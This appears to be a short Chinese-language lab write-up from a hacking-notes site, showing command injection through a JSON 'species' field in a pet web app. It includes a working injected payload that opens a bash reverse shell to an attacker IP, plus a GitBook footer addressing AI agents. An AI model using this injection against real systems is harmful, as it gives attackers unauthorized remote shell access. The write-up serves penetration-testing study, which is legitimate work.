> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# JSON RCE

<figure><img src="/files/17516620a9868e9fb6066fd36e35cd270c358b26" alt=""><figcaption></figcaption></figure>

我们可以添加带有其物种的“宠物”，这会导致 JSON 注入。

<figure><img src="/files/c3bfc9fb7c63c82f265f78a8bd23f44cf5b0f779" alt=""><figcaption></figcaption></figure>

我们使用 Burp Suite 拦截请求，并尝试通过添加一个包含名称和物种的条目来篡改请求：

<figure><img src="/files/71f3aa558d6090457e76ca23b85f423960c12cae" alt=""><figcaption></figcaption></figure>

该条目会被解析，从而允许注入。

```json
{
    "名称": "jordan",
    "物种": "jordan"
}

```

<figure><img src="/files/19bc645c30f8530cc843379c125526ab3e4199f3" alt=""><figcaption></figcaption></figure>

我们设置一个 ICMP 监听器来观察通信并测试命令注入：

```bash
sudo tcpdump -i tun0 icmp

```

我们收到了 ping 响应，这证实了远程命令执行的可能性。

<figure><img src="/files/7ac0f034c25852f8f9ffc0df345c0624fc7154db" alt=""><figcaption></figcaption></figure>

然后，我们发送一个带有 `curl` 到我们的 Python 服务器，并且也收到了一个请求，这证实了远程代码执行漏洞。

```bash
{
    "名称": "jordan",
    "物种": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}

```

<figure><img src="/files/30d9ff0c04a8fcd9b103d181c5b598d08fe67e46" alt="" width="502"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
